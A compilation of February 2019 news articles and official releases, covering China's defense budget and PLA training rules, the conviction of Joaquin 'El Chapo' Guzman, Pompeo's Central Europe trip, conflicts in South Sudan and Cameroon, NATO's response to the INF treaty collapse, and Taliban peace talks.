Maintaining in-service weapons can also be costly, Wei said, citing a second aircraft carrier in the PLA Navy this year to take care of.

While China has developed advanced weapons like the J-20 stealth fighter jet and Type 99A main battle tank, their numbers are limited and many PLA forces are still operating outdated weapons like the J-7 fighter jet and Type 59 tank.

The anonymous expert said that the military reform has led to more frequent training to boost combat capability. Munitions and fuel also require funding.

As prices of goods rise in China, the salaries of troops must rise accordingly, Wei said. Another reason behind the experts' prediction is the external security environment China is facing.

The US has been sending warships to the South China Sea and the Taiwan Straits; Japan is converting its Izumo-class helicopter destroyers into aircraft carriers; and the advanced US stealth fighter F-35 is being sold to South Korea, Japan and Australia.

The Chinese military must have enough money to deal with these challenges, experts said.

Even with the potential budget increase, China's military expenditure remains far lower than that of the US.

US excuse

US President Donald Trump agreed to a request to propose a defense budget of $750 billion for 2019, and US defense officials said anything under $733 billion would increase risks, CNN reported in December 2018.

Data gathered by the PLA Daily shows that China's defense budget was only 1.33 percent of its GDP during the 2007-2016 period.This is significantly lower than the world average of 2.6 percent, not to mention those of the US and Russia, which are around 4 percent.

But the US has been seeing China's military budget as a threat to its and its allies' security, analysts noted.

The huge gap in these amounts shows that this "China threat theory" rhetoric is only an excuse the US uses to boost its own defense budget for global military dominance, which poses a huge challenge to world peace and development, starts an arms race and forces other countries to increase their military budgets, the anonymous expert said.

Xi signs order to release regulation on military training supervision

Global Times

Source:Xinhua Published: 2019/2/12 8:26:08

Xi Jinping, chairman of the Central Military Commission, has signed an order to release a trial regulation on the supervision of military training, the first of its kind in the country.

The regulation, which will take effect on March 1, 2019, focuses on improving the combat readiness of the People's Liberation Army.

The regulation formulates measures to rectify practices that are inconsistent with the requirements of actual combats. It also details the criteria for identifying malpractices and discipline violations during military training.

The regulation also clearly states the responsibilities, power and priorities of military training supervision and regularizes the methods and procedures for carrying out such work.

The regulation is expected to consolidate the strategic role of military training under the new circumstances, strengthen the management of military training, and deepen military training nder combat conditions.Xi signs order on trial regulation to supervise military training

Global Times

By Yang Sheng Source:Global Times Published: 2019/2/12 22:13:42

Xi Jinping, chairman of the Central Military Commission, has signed an order to release a trial regulation on the supervision of military training, the first of its kind in the country.

A military expert said the move provides a systemic guarantee.

The regulation, which takes effect on March 1, focuses on improving the combat readiness of the People's Liberation Army (PLA), the Xinhua News Agency reported on Monday.

The regulation provides measures to rectify practices that are inconsistent with the requirements of actual combat. It also gives the criteria for identifying malpractices and discipline violations in military training, Xinhua reported.

An expert at a Beijing-based PLA military academy who requested anonymity told the Global Times on Tuesday that "the supervision regulations is meant to guarantee the effective execution of the training regulation implemented last year."

On January 1, 2018, the PLA started a trial implementation of a revised military training regulation which embodies the military thought of Xi.

In the past, the mission and evaluation of military training were conducted by the same combat units in the PLA. To make the military training and drill more objective and effective, the PLA needs units that are independent of combat troops, the anonymous expert said.

"Although Chinese military forces have no chance to improve their combat capability in battle like the US and Russian militaries, since we have no war to fight, we can still strengthen combat capability through strict training and supervision. We should be prepared before a real war comes to us," according to the expert.

The supervision regulation is expected to consolidate the strategic role of military training under the new circumstances, strengthen the management of military training, and deepen military training under combat conditions, Xinhua reported.Mexico's 'El Chapo' Found Guilty in US Drug Trial

By VOA News February 12, 2019

Mexican drug kingpin Joaquin "El Chapo" Guzman has been convicted of drug-trafficking and related charges at a trial in New York.

The jury convicted Guzman Tuesday after six days of deliberations on all ten counts against him and now faces the possibility of spending the rest of his life in prison.

The end of the three-month trial marks the end of Guzman's rule of the Sinaloa Cartel, which prosecutors described as "the world's largest and most prolific drug trafficking organization."

Federal prosecutors said Guzman's rise to power began in the 1980's, when his expertise at smuggling cocaine into the U.S. produced hefty proceeds for Colombian cartels.

The 61-year-old will likely be sent to a U.S. maximum security prison to prevent another escape. Guzman broke out of Mexican prisons twice before he was recaptured and extradited to the U.S. in 2017.

Prosecutors put more than 50 witnesses on the stand to explain how the cartel made billions of dollars importing tons of cocaine, heroin, methamphetemine and marijuana into the U.S.

Witnesses described killings and bribes and detailed how drugs were transported using tanker trucks, trains, and even shipments of canned peppers.

Deliberations by the jurors, whose identities were kept secret, were complicated by the complexity of the trial. They were tasked with making 53 decisions about whether prosecutors had proven various elements of the case.

Prosecutors portrayed Guzman as an overseer of brutality across national borders.

Guzman's defense argued he was targeted as a "fall guy" by another Sinaloan drug kingpin, Ismael "El Mayo" Zambada, who remains at large. Prosecutors maintained Guzman and Zambada were partners.Joaquin 'El Chapo' Guzman, Sinaloa Cartel Leader, Convicted of Running a Continuing Criminal Enterprise and Other Drug-Related Charges

FOR IMMEDIATE RELEASE

Tuesday, February 12, 2019



Joaquin Archivaldo Guzman Loera, known by various aliases, including "El Chapo" and "El Rapido," was convicted today by a federal jury in Brooklyn, New York of being a principal operator of a continuing criminal enterprise  the Mexican organized crime syndicate known as the Sinaloa Cartel  a charge that includes 26 drug-related violations and one murder conspiracy. Guzman Loera was convicted of all 10 counts of a superseding indictment, including narcotics trafficking, using a firearm in furtherance of his drug crimes and participating in a money laundering conspiracy. The verdict followed a 12-week trial before U.S. District Judge Brian M. Cogan. Guzman Loera faces a mandatory sentence of life imprisonment at his sentencing scheduled on June 25.

Acting Attorney General Matthew G. Whitaker, U.S. Department of Homeland Security Secretary Kirstjen Nielsen, Assistant Attorney General Brian A. Benczkowski of the Justice Department's Criminal Division, U.S. Attorney Richard P. Donoghue for the Eastern District of New York, U.S. Attorney Ariana Fajardo Orshan for the Southern District of Florida, Acting Administrator Uttam Dhillon of the U.S. Drug Enforcement Administration (DEA), FBI Director Christopher Wray, Executive Associate Director Derek Benner of U.S. Immigration and Customs Enforcement's Homeland Security Investigations (HSI) and Acting U.S. Marshal Bryan T. Mullee of the Eastern District of New York, announced the verdict.

The Evidence at Trial :

As proven at trial, Guzman Loera was a principal leader of the Sinaloa Cartel, a Mexico-based international drug trafficking organization responsible for importing and distributing vast quantities of cocaine, marijuana, methamphetamine and heroin into the United States. The evidence at trial, including testimony from 14 cooperating witnesses; narcotics seizures totaling over 130,000 kilograms of cocaine and heroin; weapons, including AK-47s and a rocket-propelled grenade launcher; ledgers; text messages; videos; photographs and intercepted recordings, detailed the drug trafficking activity of Guzman Loera and his co-conspirators over a 25-year period from January 1989 until December 2014. Guzman Loera was repeatedly referred to by witnesses as one of the leaders of the Sinaloa Cartel.

Guzman Loera oversaw the smuggling of narcotics to wholesale distributors in Arizona, Atlanta, Chicago, Los Angeles, Miami, New York, and elsewhere. The billions of illicit dollars generated from drug sales in the United States were then clandestinely transported back to Mexico. Guzman Loera also used "sicarios," or hit men, who carried out hundreds of acts of violence in Mexico to enforce Sinaloa's control of territories and to eliminate those who posed a threat to the Sinaloa Cartel.

Drug Trafficking

In the course of the decades-long drug trafficking conspiracy, the Sinaloa Cartel transported tens of thousands of kilograms of narcotics from Central and South America for distribution in the United States. Guzman Loera used various methods to transport the cartel's narcotics into the United States, including submarines, carbon fiber airplanes, trains with secret compartments and transnational underground tunnels. Multiple witnesses testified about seizures by law enforcement officers of massive amounts of cocaine, heroin and marijuana linked to the Sinaloa Cartel. One of the largest seizures of drugs bound for the United States involved over seven tons of cocaine concealed in jalapeno cans.

The jury also heard recordings of Guzman Loera's own damning words discussing his drug trafficking, corruption and violence. The calls included Guzman Loera discussing sending "ice," meaning methamphetamine, to Los Angeles, California; Minneapolis, Minnesota; Ohio and Tucson, Arizona.

Communications Network

Guzman Loera also utilized a sophisticated encrypted communications network to operate the global narcotics trafficking operation. As an information technology engineer testified at trial, Guzman Loera paid him one million dollars to purchase and set up a network to enable the defendant to communicate via the internet with his drug trafficking associates in Colombia, Ecuador, Canada and the United States without fear of being intercepted by law enforcement or his rivals. The witness devised a secret and secure system, consisting of encrypted cell phones and encrypted apps.

Cartel Violence

The success of the Sinaloa Cartel relied upon the use of violence to maintain their power throughout the region and beyond. Numerous co-conspirators testified that Guzman Loera directed his hitmen to kidnap, interrogate, torture and shoot members of rival drug organizations, at times carrying out acts of violence himself. A former hitman testified that Guzman Loera beat two men with a tree branch until their bodies "were completely like rag dolls," before shooting the men and ordering their bodies be tossed into a bonfire. The former hitman also testified that Guzman Loera interrogated a rival drug cartel member, shot him and ordered that he be buried alive. In an intercepted call, the jury heard Guzman Loera order one of his sicarios to kidnap rival cartel members, but not to kill them without first checking with him.

Weapons

The Sinaloa Cartel had unfettered access to weapons. A law enforcement witness showed the jury over 40 AK-47s that were seized in El Paso, Texas before they could be delivered to Guzman Loera in Mexico. Additionally, witnesses identifed photographs of various weapons, including grenades and a rocket-propelled grenade launcher utilized by the Sinaloa Cartel. Guzman Loera's personal arsenal included a gold plated AK-47 and three diamond-encrusted .38 caliber handguns, one emblazoned with his initials, "JGL."

Corruption

The evidence presented at trial demonstrated that to further the interests of the Sinaloa Cartel, Guzman Loera and his organization took advantage of a vast network of corrupt government officials. These officials ranged from local law enforcement officers, prison guards, state officials, high ranking members of the armed forces, as well as politicians. These corrupt officials assisted Guzman Loera and his organization in exchange for millions of dollars' worth of bribery payments. For example, according to the testimony of several witnesses, in many instances, Guzman Loera and his workers were warned of pending law enforcement operations which allowed Guzman Loera to avoid capture on multiple occasions. In other instances, Guzman Loera, through his employees, paid officials to turn a blind eye to trafficking activities in an effort to facilitate the shipment of drugs, weapons, and bulk cash.

Money Laundering

Guzman Loera's lucrative drug trafficking business generated billions of dollars in illicit proceeds. Guzman Loera used various methods to launder money including bulk cash smuggling from the United States to Mexico. One of the largest seizures was of $1.26 million seized from hidden compartments in a truck driven by Guzman Loera's brother in Douglas, Arizona in 1989. In addition to the bulk cash smuggling, Guzman Loera oversaw numerous shell companies, including a juice company and a fish flour company to launder the cartel's narcotics trafficking proceeds.

"I am pleased that the Department has brought Joaquin Guzman Loera (El Chapo) to justice by securing a conviction against this drug kingpin, who was a principal leader of the Sinaloa Cartel," said Acting Attorney General Whitaker. "As was clear to the jury, Guzman Loera's massive, multi-billion dollar criminal enterprise was responsible for flooding the streets of the United States with hundreds of tons of cocaine, as well as enormous quantities of other dangerous drugs such as heroin and methamphetamine. The trial evidence also overwhelmingly showed that Guzman's unceasing efforts to expand his cartel's control and consolidate its power left a wake of corruption and violence in communities in both Mexico and the United States. This case demonstrated the extraordinary reach of the U.S. government, our tenacity and commitment to pursuing kingpins like Guzman whom  if their power is unchecked  will, like Guzman, develop what for 25 years was an almost unstoppable capacity to move massive quantities of drugs into our country. Guzman had the capital to absorb huge losses and run his enterprise with impunity; the enormous power to corrupt; and the capability to employ violence on a massive scale. This case, and more importantly, this conviction serves as an irrefutable message to the kingpins that remain in Mexico, and those that aspire to be the next Chapo Guzman, that eventually you will be apprehended and prosecuted. Finally, this verdict demonstrates that the United States, working in close partnership with the Mexican government, will continue to bring all possible resources to bear in its fight against international drug traffickers and their violent organizations."

"The guilty verdict against Joaquin Guzman Loera, one of the most violent and feared drug kingpins of our time, is a testament to the hard work and courage of America's frontline law enforcement personnel, including ICE's Homeland Security Investigations," said DHS Secretary Nielsen. "They gathered substantial evidence over multiple investigations, which made his extradition to the United States and a successful prosecution possible. Today's verdict sends an unmistakable message to transnational criminals: you cannot hide, you are not beyond our reach, and we will find you and bring you to face justice. Like Guzman, you will suffer the consequences of your criminal behavior. I applaud the brave men and women at DHS who helped make this conviction possible and thank our interagency and international partners for their exceptional work."

"Guzman Loera's bloody reign atop the Sinaloa Cartel has come to an end, and the myth that he could not be brought to justice has been laid to rest," said U.S. Attorney Donoghue. "Today, Guzman Loera has been held accountable for the tons of illegal narcotics he trafficked for more than two decades, the murders he ordered and committed, and the billions of dollars he reaped while causing incalculable pain and suffering to those devastated by his drugs. Today's verdict is the culmination of the tireless work of countless brave members of law enforcement, here and abroad, and we congratulate them. The Department of Justice is committed to eradicating criminal organizations that fuel America's drug epidemic, and our mission will continue until it is completed."

"The conviction of former Sinaloa Cartel leader Joaquin Guzman Loera strips the power from a man who employed horrific acts of violence to infect communities, throughout the United States and abroad, with the venom of illicit drugs," said U.S. Attorney Fajardo Orshan. "Today's verdict is a reminder to all, that our international borders do not protect narco-traffickers and the cartels' criminal enterprises from federal prosecution. U.S. Attorney's Offices across the nation stand united with our domestic and foreign law enforcement partners, as we continue our fight against transnational criminal organizations."

"The reign of Joaquin Guzman Loera's crime and violence has come to an end," said FBI Director Wray. "As leader of the Sinaloa Cartel, Guzman Loera carried out and directed acts of brazen violence as he oversaw the import and distribution of vast amounts of illegal drugs throughout the United States. But today, through the steadfast determination and collective efforts of the FBI and our law enforcement partners both domestic and abroad, and due to our continuing partnership with the Government of Mexico, justice has been served."

"Today's conviction of Joaquin "El Chapo" Guzman demonstrates the dedication and determination of the men and women of DEA to bring the world's most dangerous and prolific drug trafficker to justice," said DEA Acting Administrator Dhillon. "Those who bring drugs and violence into the United States that destroy lives and communities will not be tolerated, nor evade our reach. The success of this case is a testament to the strength of our relationship with our Mexican counterparts. DEA will continue to pursue justice worldwide and protect Americans."

"HSI is committed to using our unique border authority to target and dismantle transnational criminal organizations responsible for trafficking narcotics and bringing violence into the United States," said HSI Executive Associate Director Benner. "Through collaboration with local, federal and international law enforcement partners, HSI special agents were able to bring an end to Joaquin Guzman Loera's criminal activities, and help ensure he was brought to justice."

"The conviction of Joaquin "El Chapo" Guzman demonstrates what is possible when law enforcement works collectively and coordinates their efforts," said Acting U.S. Marshal Mullee. "The U.S. Marshals Service ensured the integrity of the judicial process in this case. From providing safe and secure detention and transportation of the world's most notorious drug kingpin to ensuring the anonymity of the jury, protecting the judge, attorneys, witnesses and the public, the Marshals Service proudly played its important role in the process. I would like to express my gratitude to all of our law enforcement partners who worked tirelessly in support of our mission. They are the talented men and women of the New York City Police Department, Federal Protective Service, 24th Civil Support Team of the New York National Guard, and the Federal Bureau of Prisons. The U.S. Marshals take our responsibility of protecting the federal judicial process very seriously. We must anticipate and deter threats, while continuously developing and employing innovative protective tactics. We carry out these responsibilities with precision every day across the country. The successful prosecution of Joaquin "El Chapo" Guzman stands as a shining example of our mission."

When sentenced by Judge Cogan, Guzman Loera faces a mandatory life sentence without the possibility of parole for leading a continuing criminal enterprise, and a sentence of up to life imprisonment on the seven remaining drug counts. After the verdict, the government will seek a forfeiture money judgment for billions of dollars constituting the cartel's illegal drug-trafficking proceeds.

The government's case is being prosecuted by U.S. Department of Justice Trial Attorneys Amanda Liskamm, Anthony Nardozzi, Michael Lang and Brett Reynolds of the Criminal Division's Narcotic and Dangerous Drug Section, Assistant U.S. Attorneys Gina Parlovecchio, Andrea Goldbarg, Michael Robotti, Patricia Notopoulos and Hiral Mehta of the Eastern District of New York and Assistant U.S. Attorneys Adam Fels and Lynn Kirkpatrick of the Southern District of Florida.

The case was investigated by the DEA, HSI and the FBI, in cooperation with Mexican, Ecuadorian, Netherlands, Dominican, and Colombian law enforcement authorities. Substantial assistance was provided by the U.S. Attorneys' Offices in the Northern District of Illinois, the Western District of Texas, the Southern District of New York, the Southern District of California and the District of New Hampshire. The Department of Justice's Office of International Affairs also played an integral role in securing the extradition of Guzman Loera to the United States, in cooperation with authorities of the Mexican government, without which his extradition and prosecution would not have been possible. The investigative efforts in this case were coordinated with the Department of Justice's Special Operations Division, comprising of agents, analysts and attorneys from the Criminal Division's Narcotic and Dangerous Drug Section; DEA New York, DEA Miami, FBI Washington Field Office, FBI New York Field Office, FBI Miami Field Office; HSI New York, HSI Nogales; Bureau of Alcohol, Tobacco, Firearms and Explosives; U.S. Marshals Service; IRS Criminal Investigation; U.S. Bureau of Prisons, NYPD and New York State Police.

This case is the result of the ongoing efforts by the Organized Crime Drug Enforcement Task Force (OCDETF), a partnership that brings together the combined expertise and unique abilities of federal, state and local law enforcement agencies. The principal mission of the OCDETF program is to identify, disrupt, dismantle and prosecute high level members of drug trafficking, weapons trafficking and money laundering organizations and enterprises.

Topic(s): Drug Trafficking

Component(s):

Criminal Division

USAO - New York, Eastern

Press Release Number: 19-108Pompeo Warns Central European Allies Over Russia, China Ties

By Henry Ridgwell February 12, 2019

U.S. Secretary of State Mike Pompeo has warned during a trip to NATO allies Slovakia and Hungary that Russia and China are trying to fill a political vacuum in central Europe caused by what he described as the United States' absence in the region over recent years.

Arriving Tuesday in Bratislava, Pompeo said the United States had been a friend through three decades of post-Soviet independence.

The warm sentiments echoed those given to Hungary during a visit Monday to Budapest, where he urged his Hungarian counterpart to offer more support to Kyiv following Russia's forced annexation of Crimea and invasion of eastern Ukraine.

"I spoke with the foreign minister about the urgent importance of supporting Ukraine in its quest for sovereignty and territorial integrity. We must not let [Russian President Vladimir] Putin drive wedges between friends and NATO. Hungarians know all too well from their history that an authoritarian Russia will never be a friend to the freedom and sovereignty of smaller nations," said the top U.S. diplomat.

Budapest is often accused by allies of being too close to Russia. Prime Minister Viktor Orban has regularly visited Putin in Moscow, while Russia is set to build two nuclear reactors in Hungary.

Pompeo also criticized Hungary's contracts with Chinese telecom firm Huawei, which the U.S. says could be involved in Chinese state espionage.

"If that equipment is co-located in places where we have important American systems, it makes it more difficult for us to partner alongside them. We want to make sure we identify them, the opportunities and the risks associated with using that equipment. And then they'll get to make their decisions," Pompeo told reporters in Budapest.

A spokesperson for China's foreign ministry said Tuesday "the U.S. has spared no effort to churn out all kinds of unwarranted charges and fabricate various kinds of theories over a threat from China."

The Trump administration is trying to reassert its influence in the region, but it also sees common ground with central and eastern European states, according to analyst Jonathan Eyal of the Royal United Services Institute.

"Countries that were seen by other European nations to be moving away from the political consensus, to be espousing a much more right-wing agenda on questions such as immigrants," said Eyal.

But below the surface, analysts say there are simmering tensions. The U.S. has pledged support for anti-corruption initiatives and independent media in Hungary. Campaign groups have warned of a stifling government crackdown on the opposition.

The warming ties are about more than common ideology, noted Eyal.

"There's two messages that the administration is putting forward. On the one hand, that these countries must pull their weight in defense questions. But at the same time, also an understanding that one size doesn't fit all, that not all European countries have to follow exactly the same position, provided they remain loyal to NATO," Eyal told VOA.

Pompeo next travels to Poland for a two-day summit on the Middle East starting Wednesday, which will focus on Iran.New Violence in South Sudan Sends Thousands Fleeing to DR Congo

By Lisa Schlein February 12, 2019

The United Nations refugee agency says a surge of violence in South Sudan's Yei State has displaced some 8,000 civilians and sent an estimated 5,000 people fleeing to the neighboring Democratic Republic of Congo.

Clashes between the South Sudanese army and a rebel group, the National Salvation Front or NAS, broke out on January 19. This was barely four months after the latest peace deal aimed at ending the country's five-year civil war was signed by President Salva Kiir and opposition leader Riek Machar.

U.N. refugee agency spokesman Babar Baloch told VOA violence has been going down since then. And, he said, the two major parties that signed the accord appear to be sticking to it.

"Let us not forget South Sudan has over 70 factions in terms of small groups and rebel groupsand NAS, as far as I understand, is led by Thomas Cirillo. And, we also understand that his group refused to sign the peace agreement," said the spokesman.

The fighting reportedly is taking place outside the town of Yei, close to the borders of the Democratic Republic of Congo and Uganda. Baloch said most of those fleeing by foot to Congo are women, children and the elderly. He said they arrive exhausted, hungry, thirsty and in some cases, sick.

"Among them are people suffering from malaria or other illnesses. Many have suffered from trauma after witnessing violent incidents, including armed men reportedly murdering and raping civilians and looting villages," said Baloch.

The refugees are arriving in remote border villages in Congo's Ituri Province, an area close to Ebola-affected North Kivu Province. A World Health Organization spokesman said there is no indication the disease has spread to this region. But he said the risk is there, so border crossings are being monitored carefully.Cameroon Hospital Attacked; Medical Staff, Patients Flee

By Moki Edwin Kindzeka February 12, 2019

Armed men burned down a hospital in the Cameroonian town of Kumba this week, forcing patients and medical staff to flee for their lives. Cameroon's government blamed the attack on separatists demanding independence for Cameroon's English-speaking regions.

The country's national order of doctors has condemned the attack as barbaric.

It was quiet Tuesday at the Kumba district hospital in the southwest region of Cameroon. On a normal day, the hospital cares for hundreds of patients and pregnant women. But none were here today, Feb. 12, 2019, one day after the attack that reduced most of the buildings to ashes.

Nurse Rose Mary Kimbie said the hospital complied with government orders to discharge 90 percent of the patients.

"The patients that were a little bit better, we sent them home," Kimbie said. "Women who delivered, we sent them back home. We took the instructions that the government gave that serious cases should be dispatched to different hospitals around. I just pray that my colleagues who are out, that ran away from the incident, should come back, since government said they are assuring them of their security."

About 80 percent of the staff did not report for work Tuesday.

Fourteen-year-old Marvelous Manka, whose mother is being treated for cancer, said her mother may die because their doctor is absent, and there is no one to attend to them.

She said they have been asked to go to another specialist hospital in the neighboring town of Buea.

"All the roads are blocked, and there is no one moving in town," Manka said. "I just pray to God that the situation should change and everything to come back (to normal). God should just help for this strike to stop."

The government of Cameroon said at least 20 armed separatists attacked and set fire to the hospital in the early hours of Monday. It says four people, including two patients, were killed.

Local newspapers report that the separatists may have been angry that the hospital was treating government troops wounded in the separatist war and disclosing the identities of armed fighters to the military.

Tetani Ekwe, president of the Cameroon Medical Council, denied the accusations.

He said the national order of Cameroon doctors and all medical staff in Cameroon are speechless because they have always respected neutrality in the conflict between the Cameroon military and armed groups. He said when a priceless service to humanity like health care delivery and a hospital are attacked and torched for whatever reason, the medical staff can only be shocked and expect justice to take its course.

On social media, the separatists insisted that the hospital was torched by Cameroon's military to discredit them and tarnish their image.

Renewed fighting erupted in Cameroon's two English-speaking regions this month after armed separatists began what they call a 10-day lockdown, banning many activities in the war-torn Anglophone regions through Feb. 14.

Cameroon's unrest began in November 2016 when English-speaking teachers and lawyers demonstrated against the growing dominance of French in the officially bilingual country.NATO Planning for More Russian Missiles in Europe

By VOA News February 12, 2019

NATO Secretary-General Jens Stoltenberg cautioned Tuesday the military alliance will respond to "more Russian missiles" following the collapse of a key Cold War-era arms treaty but will not deploy more nuclear missiles in Europe.

Stoltenberg called on Russia to return to compliance with the Intermediate-Range Nuclear Forces (INF) treaty, which the alliance insists Russia violated by developing a new missile system Moscow calls Novator 9M729.

The U.S. began the six-month process of withdrawing from the treaty on Feb. 2, claiming Russia's missile system violates the treaty's range requirements. The U.S. believes Russia's new missile system could enable Moscow to launch a nuclear attack in Europe with little or no warning.

The INF, which ended a buildup of warheads in Europe, bans the production and deployment of land-based cruise and ballistic missiles with a range of 500-5,500 kilometers. Russia contends the ground-fired cruise missile has a range of less than 500 kilometers, and that U.S. target practice missiles and drones violate the pact.

Russian President Vladimir Putin responded to the U.S. withdrawal from the treaty by announcing it would also pull out. Also, Putin's defense minister announced plans for new missiles, prompting a vow from U.S. President Donald Trump to outspend Russia.

Stoltenberg said ministers will meet Wednesday in Brussels to discuss the "steps NATO should take to adapt to a world with more Russian missiles." Stoltenberg added: "We don't have to mirror what Russia does, but we need to make sure we have effective deterrence and defense."

While Washington and Moscow are at odds over the INF, the treaty does nothing to constrain China, whose fast-growing military depends on medium-range missiles as a key aspect of its defense strategy.China to Fund Installation of Modern Facilities at Pakistan-Afghan Border Crossings

By Ayaz Gul February 12, 2019

China plans to fund and install modern reception centers, drinking water and cold storage facilities at main entry points on the border between Pakistan and Afghanistan. The Chinese project aims to better serve the daily movement of tens of thousands of people as well as trade convoys, and will help ease tensions between the two countries, officials said.

Beijing, which is on good terms with both countries, continues to undertake diplomatic and economic initiatives to help improve Islamabad's troubled ties with Kabul and encourage them to jointly work for a political settlement with the Taliban to end the Afghan war.

The deputy chief of mission at the Chinese embassy in Islamabad, Zhao Lijian, told VOA in a wide-ranging interview the border development program is an outcome of recent high-level talks held in Kabul between foreign ministers of the three countries.

"We are trying to promote these projects so that it can help with the improvement of relationship between Pakistan and Afghanistan and also finally it would be helpful with peace and development in Afghanistan," Lijian noted. The trilateral dialogue, he said, was initiated by Beijing in late 2017 with a mission to promote "counterterrorism, strategic dialogue and pragmatic cooperation" among the three nations.

Lijian explained that the cold storage facilities will be established at the busy northwestern Torkham and southwestern Chaman crossings while the water schemes will be installed at the Ghulam Khan Khel terminal in North Waziristan district.

"Small businessmen they are entering Torkham and Chaman everyday so if there is some cold storage facilities they could use those facilities to store their fruits. If there is a proper reception center and a drinking water scheme, those kind of facilities may serve the people in a better way," Lijian said.

Pakistan consumes 90 percent of Afghan fresh fruits and vegetables, according to official estimates. Islamabad recently waived off regulatory duties on fresh fruit imports from Afghanistan, leading to an estimated 30 percent increase in Afghan exports to Pakistan in 2018. Officials say some 60,000 people commute across the border between the two countries.

Overall bilateral trade between Pakistan and Afghanistan has significantly declined in recent years due to political tensions. Moreover, Pakistani authorities are unilaterally constructing a robust fence to secure the nearly 2,600 kilometer porous Afghan border and tighten monitoring of cross-border movement to deter militant infiltration.

China and the Afghan conflict

The Taliban, championed by China as a political force in Afghanistan, allegedly uses Pakistan as a sanctuary for directing insurgent activities. Islamabad in turn accuses Afghan intelligence agencies of sheltering fugitive anti-state militants and supporting terrorist attacks in Pakistan.

Beijing has invested billions of dollars to help build infrastructure projects, power plants, ports and industrial zones in Pakistan as part of President Xi Jinping's global Belt and Road Initiative (BRI). The bilateral project, known as China Pakistan Economic Corridor (CPEC), was implemented five years ago, creating tens of thousands of jobs for Pakistanis, and effectively resolving the country's electricity crisis.

Lijian said extending CPEC to Afghanistan, which is part of BRI, is under consideration to develop and improve trade routes through the war-ravaged country to Central Asia markets.

"For China, we have been having this 40 years of economic development, reforms and opening up, and in Afghanistan for these last 40 years they have been suffering from chaos, from civil war, from foreign occupation. So, we are very much sympathetic with Afghan people and we would like to extend a helping hand to them," he said.

China hails Pakistan's role

Lijian defended Beijing's close contacts with the Taliban, saying they are used to encourage the insurgents to seek an inclusive political understanding with incumbents in Kabul to help "manage" if not end Afghan hostilities in the near future.

"Pakistan has been helping the United States and the Taliban to have direct talks and it is playing a very critical role. We hope that the peace process can take some root in the heart of the people, not only in Afghanistan but also in Pakistan," the deputy Chinese ambassador noted.

A spokesman for the Taliban's political office in Qatar told VOA his group maintains close contacts with China and believes the Chinese are well placed to assist in resolving the Afghan crisis.

"We really appreciate their latest public stance of declaring the Taliban as a political force in Afghanistan. They understand the ground realities in our country. Their stance could be really helpful for Afghan peace building," Suhail Shaheen noted.

US peace talks with Taliban

U.S. special representative for Afghanistan reconciliation Zalmay Khalilzad has held several direct meetings with the Taliban in recent months, triggering hopes the dialogue could help jumpstart long-sought intra-Afghan peace negations.

Pakistan takes credit for arranging the U.S.-Taliban peace talks to help bring an end to years of bloodshed in Afghanistan, saying peace in the neighboring country is key to promoting regional development.

Beijing has noted U.S. plans to draw down troops in Afghanistan if progress is achieved in talks Washington is holding with the Taliban. But Lijian cautioned against staging a hasty withdrawal.

"They should have a plan to withdraw from Afghanistan in a gradual way and during this process they should also try to promote the intra-Afghanistan dialogue so that when the American troops leave Afghanistan, Afghanistan will not be condemned into a chaotic situation like before," the Chinese official noted.

China's security concerns are also behind its stepped-up Afghan diplomacy. Officials in Beijing worry that continued instability in Afghanistan could encourage terrorist groups, including the anti-China militant group the East Turkestan Islamic Movement (ETIM), to foment problems in the western border region of Xinjiang.

International human rights groups have expressed concerns that authorities in Xinjiang are allegedly forcing Uighur and other Muslim minorities to renounce their religious beliefs in internment camps set up under the guise of vocational education centers. China rejects the charges as Western media propaganda.However, lockup advertises and reinforces the us versus them culture of unconstitutional policing that has historically pervaded the police department. This culture was outlined in the departments consent decree with the U.S. Justice Department and evidenced in the recent Gun Trace Task Force scandal. This has contributed to a lack of trust and the no snitch mentality among residents of the communities experiencing high crime and most in need of responsive police services.Taliban Add Haqqani Leader's Jailed Brother to Afghan Peace Negotiation Team

By Ayesha Tanzeem February 12, 2019

Afghanistan's Taliban have named a 14-member negotiating team for upcoming peace talks with U.S. special envoy Zalmay Khalilzad. The Taliban's team includes the jailed brother of the head of the powerful Taliban-affiliated Haqqani network.

Anas Haqqani was arrested in Bahrain in 2014 and reportedly handed over to Kabul by the United States. He is the younger brother of Sirajuddin Haqqani, who is second-in-command in the Afghan Taliban hierarchy and leads the Haqqani network, considered the deadliest faction of the Afghan Taliban.

The office of Afghan President Ashraf Ghani said it had not made a decision to free Anas Haqqani, who was sentenced to death in 2016.

Suhail Shaheen, the spokesman for the Taliban's political office in Qatar, said Anas Haqqani was a "student and had no military role," adding that he should be released to help find a "peaceful solution to the conflict."

Afghan intelligence agencies, however, believed the younger brother played a crucial role in fundraising in the Gulf countries, through sources the group had developed since the 1980s during its fight against the Soviet Union.

In a statement soon after his arrest, the Afghan intelligence agency, the National Directorate for Security or NDS, said Anas Haqqani had "special skills in computers and was considered one of the masterminds of this network in making propaganda through social networks."

A few years ago, the Afghan government came under pressure to carry out Anas Haqqani's sentence after deadly blasts hit Kabul. The Taliban at the time issued a strongly worded statement warning of "dire consequences."

Taliban strategy

Adding his name to the 14-member negotiating team may be a way to pressure the Afghan government to release him even as the insurgent group refuses to directly engage with Kabul.

At a recent conference on Afghanistan in Moscow, the Taliban met around 50 Afghan politicians and activists. No government representative was invited to the event. The Taliban have refused to meet with government officials.

The Taliban negotiating team will meet the U.S. team led by Khalilzad, the special representative for Afghanistan reconciliation, in Doha on February 25.

The last meeting between the two sides took place in January and lasted six days. At a recent event at the Washington-based United States Institute of Peace, Khalilzad said the two sides had agreed in principle on two issues: Afghan soil would not be used for terrorism by any individual or group, and international forces would withdraw from Afghanistan.

Khalilzad reiterated, however, that the agreement was dependent on a comprehensive agreement on other issues, including a cease-fire and inclusion of the Afghan government in peace talks.

"Nothing is agreed to until everything is agreed to," he said.

The U.S. special envoy also said that while the timing of a peace deal was uncertain, from his point of view, "we would prefer to see an agreement before July," which is when Afghanistan is scheduled to have a presidential election.

Khalilzad is already on a six-nation trip, with a stopover in Belgium to brief the European Union and NATO on negotiations, before arriving in the region.Press Availability With Slovak Foreign Minister Miroslav Lajcak

Press Availability

Michael R. Pompeo

Secretary of State

Ministry of Foreign Affairs

Bratislava, Slovakia

February 12, 2019

MODERATOR: (Via interpreter) Very good afternoon to everybody. I would like to welcome you at today's press briefing of the ministers of foreign affairs, Mr. Lajcak and his counterpart, the U.S. Secretary of State Mike Pompeo, who has come here for a visit. And I'd like to ask both ministers for his introductory words, and now over to Mr. Lajcak.

